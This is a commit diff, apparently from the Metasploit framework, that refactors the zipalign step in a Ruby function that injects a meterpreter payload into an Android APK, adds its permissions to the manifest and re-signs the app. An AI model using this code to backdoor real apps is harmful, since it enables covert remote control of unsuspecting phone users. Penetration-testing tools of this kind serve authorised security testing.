Skip to content

Commit b06a3d3

Browse files
committed
Refactor code that calls zipalign on injected APK
1 parent e8d99fb commit b06a3d3

File tree

1 file changed

+3
-4
lines changed

1 file changed

+3
-4
lines changed

lib/msf/core/payload/apk.rb

Lines changed: 3 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -204,7 +204,7 @@ def backdoor_payload(apkfile, raw_payload)
204204
print_status "Loading #{smalifile} and injecting payload..\n"
205205
File.open(smalifile, "wb") {|file| file.puts hookedsmali }
206206
injected_apk = "#{tempdir}/output.apk"
207-
unaligned_apk = "#{tempdir}/unaligned.apk"
207+
aligned_apk = "#{tempdir}/aligned.apk"
208208
print_status "Poisoning the manifest with meterpreter permissions..\n"
209209
fix_manifest(tempdir)
210210

@@ -213,10 +213,9 @@ def backdoor_payload(apkfile, raw_payload)
213213
print_status "Signing #{injected_apk}\n"
214214
run_cmd("jarsigner -verbose -keystore ~/.android/debug.keystore -storepass android -keypass android -digestalg SHA1 -sigalg MD5withRSA #{injected_apk} androiddebugkey")
215215
print_status "Aligning #{injected_apk}\n"
216-
FileUtils.mv("#{injected_apk}", "#{unaligned_apk}")
217-
run_cmd("zipalign 4 #{unaligned_apk} #{injected_apk}")
216+
run_cmd("zipalign 4 #{injected_apk} #{aligned_apk}")
218217

219-
outputapk = File.read(injected_apk)
218+
outputapk = File.read(aligned_apk)
220219

221220
FileUtils.remove_entry tempdir
222221
outputapk

0 commit comments

Comments
 (0)